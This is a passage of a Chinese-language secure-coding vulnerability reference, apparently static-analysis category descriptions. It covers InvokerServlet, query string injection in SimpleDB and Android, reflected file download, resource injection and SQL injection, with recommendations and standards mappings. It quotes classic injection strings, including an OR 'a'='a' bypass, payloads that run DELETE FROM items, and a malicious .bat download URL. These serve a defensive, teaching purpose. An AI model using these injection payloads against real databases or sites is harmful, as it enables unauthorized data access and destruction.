[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20),Improper Filesystem Permissions (WASC-17)
Process Control: Invoker Servlet
ABSTRACT
InvokerServlet 类可允许攻击者调用服务器上的任意类。
EXPLANATION
不推荐使用的 InvokerServlet 类可用于调用服务器虚拟机可用的任意类。通过猜测类的完整名称,攻击者不但可以加载 Servlet 类,还可以加载 POJO 类或对 JVM 可用的其他任何类。
RECOMMENDATIONS
请勿使用 InvokerServlet 类。请使用显式 Servlet 映射,且仅映射需要的 Servlet。
REFERENCES
[1] Invocation is EVIL
[2] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[5] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II
Query String Injection: Amazon Web Services
ABSTRACT
构建包含用户输入的 SimpleDB 选择指令会允许攻击者查看未经授权的记录。
EXPLANATION
Query string injection 漏洞会在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据被用于动态地构造 SimpleDB 查询字符串。
例 1:以下代码动态地构造并执行了一个 SimpleDB select() 查询,该查询可搜索与用户指定产品类别相匹配的清单。用户还可以指定对结果进行排序的列。假定在执行此代码片段之前已正确验证了应用程序并设置了 customerID 的值。
1 | ... |
这一代码所执行的查询如下所示:
1 | select * from invoices |
但是,由于这个查询是动态构造的,它由一个不变的基查询字符串和一个用户输入字符串连接而成,因此仅当 productCategory 和 price 不包含单引号字符时,才会正确执行这一查询。但是,如果攻击者为 productCategory 提供了字符串“Fax Machines’ or productCategory = \“”,并为 sortColumn 提供了字符串“\” order by ‘price”,则查询将变为如下所示:
1 | select * from invoices |
或者采用以下人类可读性更好的形式:
1 | select * from invoices |
这些输入使攻击者能够绕过 customerID 所要求的 Authentication,并查看与 ‘Fax Machines’ 相匹配的所有客户清单记录。
RECOMMENDATIONS
与大多数 SQL API 不同,Amazon Web Services SimpleDB 接口没有参数化选项。最佳解决方案是按照预定义的可接受值列表来验证所有的输入。如果这种方法不可行,可仅接受安全值白名单中的字符,或者识别并避免列在黑名单中的恶意数据。在这两个选项中,列白名单的方法在实施严格的输入验证规则方面更为有效。而对于通常采用的列黑名单的方法,由于总是存在一些小漏洞,所以并不能有效地防止 SimpleDB query injection 攻击。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
如果可能,开发人员应维护允许值白名单,并在将用户输入添加到查询字符串之前进行逐一比较。如果不可行,例如对于表示名称或价格的字段,开发人员应至少根据白名单字符列表来验证输入。
手动转义查询字符串输入中的字符有一定的帮助,但是并不能完全保护您的应用程序免受 query injection 攻击。
REFERENCES
[1] Secure Use of Cloud Storage
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 89
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[31] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
Query String Injection: Android Provider
ABSTRACT
构建含有用户输入的 SQLite 查询指令会让攻击者能够查看未经授权的记录。
EXPLANATION
Query string injection 漏洞会在以下情况下发生:
- 数据从一个不可信赖的数据源进入程序。
在这种情况下,Fortify Static Code Analyzer(Fortify 静态代码分析器)无法确定数据源是否可信赖。
- 数据用于动态地构造一个 SQLite 查询。
SQLite query string injection 允许恶意用户查看未经授权的记录,但不允许用户以任何方式更改数据库的状态。
例 1:以下代码动态地构造并执行了一个 SQLite 查询,该查询可搜索与客户和用户指定产品类别相关联的清单。用户还可以指定对结果进行排序的列。假定在执行此代码片段之前已正确验证了程序和设置了 customerID 的值。
1 | ... |
这一代码所执行的查询如下所示:
1 | select * from invoices |
但是,这个查询是动态构造的,由一个常数基查询字符串和一个用户输入字符串 productCategory 连在一起形成。因此只有在 productCategory 与 sortColumn 不包含单引号字符时,这一查询才能正确执行。如果攻击者为 productCategory 提供了字符串“Fax Machines’ or productCategory = \“”,并为 sortColumn 提供了字符串“\” order by ‘price”,则查询将变为如下所示:
1 | select * from invoices |
或者采用以下可读性更好的形式:
1 | select * from invoices |
这些输入使攻击者能绕过 customerID 所要求的 authentication,并查看与 ‘Fax Machines’ 相匹配的所有客户清单记录。
RECOMMENDATIONS
造成 query string injection 漏洞的根本原因在于攻击者可以改变查询的上下文,使程序员原本要作为数据解析的数值被篡改为命令了。当构造一个 SQLite 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,哪些仅仅是作为数据。参数化查询可以防止直接篡改上下文,避免 query string injection 攻击。当需要包含用户输入的数据时,请使用捆绑参数,这些捆绑参数是后续插入数据的占位符。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
SQLiteDatabase 类提供了使用 query() 方法执行参数化查询的功能。query() 方法会接受字符串数组,接着会将其捆绑至选择筛选器中由 ? 所定义的占位符,然后再执行查询。
例 2:以下代码中,将例 1 重写为使用参数化查询。
1 | ... |
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
REFERENCES
[1] Android Developers-Reference: SQLite Database
[2] SQL as Understood by SQLite
[3] Standards Mapping - Common Weakness Enumeration CWE ID 89
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[30] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[31] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
Reflected File Download
ABSTRACT
该应用程序允许攻击者创建一个 URL,该 URL 会强制下载似乎来自可信赖域的任意内容。
EXPLANATION
反射式文件下载 (RFD) 是一种允许攻击者创建钓鱼 URL 或页面的漏洞,一旦访问此类 URL 或页面将启动下载含有似乎来自可信赖域的任意内容的文件。由于用户信任该给定的域,他或她很可能会打开已下载的文件,从而导致执行恶意代码。
为使攻击者成功运行 RFD 攻击,需要满足以下要求:
目标应用程序可在未经过适当验证或编码的情况下反映用户输入。这被用来注入负载。
目标应用程序允许打开宽松的 URL。因此,攻击者可以控制下载文件的名称和扩展名。
目标应用程序的 Content-Disposition 头文件配置错误,从而允许攻击者控制 HTTP 响应中的 Content-Type 和/或Content-Disposition 头文件,或者目标应用程序包含默认情况下不在浏览器中呈现的 Content-Type。
例如,如果应用程序使用 Spring Web MVC ContentNegotiationManager 来动态生成不同的响应格式,则将满足进行 RFD 攻击的必要条件。
将 ContentNegotiationManager 配置为基于请求路径扩展名来确定响应格式,以及使用 Java 激活框架 (JAF) 找到可以更好地匹配客户端所请求格式的 Content-Type。它还允许客户端通过在请求的 Accept 头文件中发送的媒体类型指定响应内容类型。
示例 1:在下面的示例中,将应用程序配置为允许使用路径扩展名策略以及 Java 激活框架来确定响应的内容类型:
1 | <bean id="contentNegotiationManager" class="org.springframework.web.accept.ContentNegotiationManagerFactoryBean"> |
示例 2:在下面的示例中,将应用程序配置为允许使用请求的 Accept 头文件来确定响应的内容类型:
1 | <bean id="contentNegotiationManager" class="org.springframework.web.accept.ContentNegotiationManagerFactoryBean"> |
请注意,Spring 4.2.1 中的 ContentNegotiationManagerFactoryBean 属性默认值为:
useJaf: true
favorPathExtension: true
ignoreAcceptHeader: false
示例 1 中所显示的配置允许攻击者创建一个恶意 URL,例如:
http://server/some/resource/endpoint/foo.bat?input=payload
这样 ContentNegotiationManager 将使用 Java 激活框架(如果在类路径中找到 activation.jar)来尝试解析给定文件扩展名的媒体类型,并相应地设置响应的 ContentType 头文件。在此示例中,文件扩展名为 “bat”,导致生成 application/x-msdownload 的 Content-Type 头文件(尽管确切的 Content-Type 可能因服务器 OS 和 JAF 配置而异)。因此,一旦受害者访问该恶意 URL,其计算机将自动下载含有受攻击者控制的内容的“.bat”文件。如果接下来执行此文件,那么受害者的计算机将运行由攻击者的负载指定的任何命令。 RECOMMENDATIONS 为了防止受到反射式文件下载的攻击,应用程序必须遵循以下建议:
如果使用 Spring MVC ContentNegotiationManager:
确定您应该使用的 Content-Type 策略并使之尽可能地简单。如果适合,请仅使用路径扩展名策略,并在应用程序客户端未使用参数或 Accept 头文件的相关选项时将它们禁用。
通过将 setUseJaf 设置为 false,可禁用 Java 激活框架 (JAF)。
使用应用程序知道如何恰当处理的所有媒体类型列表来设置 mediaTypes 属性。
设置 defaultMediaType,以便始终控制未知媒体类型响应的 Content-Type 头文件。
将 ignoreAcceptHeader 设置为 true 后,攻击者将无法强制执行响应的 Content-Type 头文件值。
示例 3:以下示例演示了 Spring ContentNegotiationManagerFactoryBean 的安全配置:
1 | <bean id="contentNegotiationManager" class="org.springframework.web.accept.ContentNegotiationManagerFactoryBean"> |
作为一般性建议:
确保 URL 不宽松并且禁止将其他字符添加到 URL 中。
对任意用户输入执行严格的白名单验证后,再将其反映到 HTTP 响应中。
为将在其中显示的上下文对由用户控制的数据进行编码。
使用 Content-Disposition 头文件时,明确指定文件名和扩展名。
使用反 CSRF 标记。
从服务器可验证使用 API 的应该是客户端而不是浏览器的客户端获取一个自定义头文件。
使用 JSONP 时,请使用白名单来验证回调名称。
使用 X-Content-Type-Options: nosniff 响应头文件阻止浏览器尝试自动确定响应的 Content-Type。
将您的应用程序配置为禁用请求路径和矩阵参数(如果可能)。
创建受支持的 Content-Type 值列表并禁用用于反映 Accept 请求头文件的选项(如果可能)。
REFERENCES
[1] Oren Hafif Reflected File Download - A New Web Attack Vector
[2] Alvaro Munoz Reflected File Download in Spring MVC
[3] Standards Mapping - Common Weakness Enumeration CWE ID 20, CWE ID 79, CWE ID 233
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Resource Injection
ABSTRACT
使用用户输入控制资源标识符,借此攻击者可以访问或修改其他受保护的系统资源。
EXPLANATION
当满足以下两个条件时,就会发生 resource injection:
- 攻击者可以指定已使用的标识符来访问系统资源。
例如,攻击者可能可以指定用来连接到网络资源的端口号。
- 攻击者可以通过指定特定资源来获取某种权限,而这种权限在一般情况下是不可能获得的。
例如,程序可能会允许攻击者把敏感信息传输到第三方服务器。
注意:如果资源注入涉及存储在文件系统中的资源,则可以将其报告为名为路径篡改的不同类别。有关这一漏洞的详细信息,请参见 path manipulation 的描述。
示例 1:下面的代码使用读取自 HTTP 请求的端口号来建立一个套接字。
1 | String remotePort = request.getParameter("remotePort"); |
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 resource injection)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 2:下面的代码使用读取自 Android Intent 的 URL 在 WebView 中加载页面。
1 | ... |
这种受用户输入影响的资源表明其中的内容可能存在危险。例如,包含如句点、斜杠和反斜杠等特殊字符的数据在与 file system 相作用的方法中使用时,具有很大风险。类似的,对于创建远程结点的函数来说,包含 URL 和 URI 的数据也具有很大风险。
RECOMMENDATIONS
阻止 resource injection 的最佳做法是采用一些间接手段。例如创建一份合法资源名的列表,并且规定用户只能选择其中的文件名。通过这种方法,用户就不能直接由自己来指定资源的名称了。
但在某些情况下,这种方法并不可行,因为这样一份合法资源名的列表过于庞大、难以跟踪。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。
REFERENCES
[1] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 99
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - MISRA C 2012 Rule 1.3
[6] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[9] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[10] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[11] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[12] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
SQL Injection
ABSTRACT
通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个 SQL 查询。
例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | ... |
这一代码所执行的查询遵循如下方式:
1 | SELECT * FROM items |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”就会创建如下三个有效指令:
1 | SELECT * FROM items |
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 SQL injection)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 3:以下代码对示例 1 进行调整,使其适用于 Android 平台。
1 | ... |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。所以再次强调,存储过程在某些情况下可以避免这种攻击,但是并不能完全保护您的应用系统抵御 SQL injection 的攻击。
RECOMMENDATIONS
造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
可以将例 1 改写成使用参数化 SQL 指令(替代用户输入连续的字符串),如下所示:
1 | ... |
下面是 Android 的等同内容:
1 | ... |
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
REFERENCES
[1] S. J. Friedl SQL Injection Attacks by Example
[2] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[3] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[4] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[5] IDS00-J. Prevent SQL Injection CERT
[6] INJECT-2: Avoid dynamic SQL Oracle
[7] INPUT-1: Validate inputs Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 89
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - MISRA C 2012 Rule 1.3
[11] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[25] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[26] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
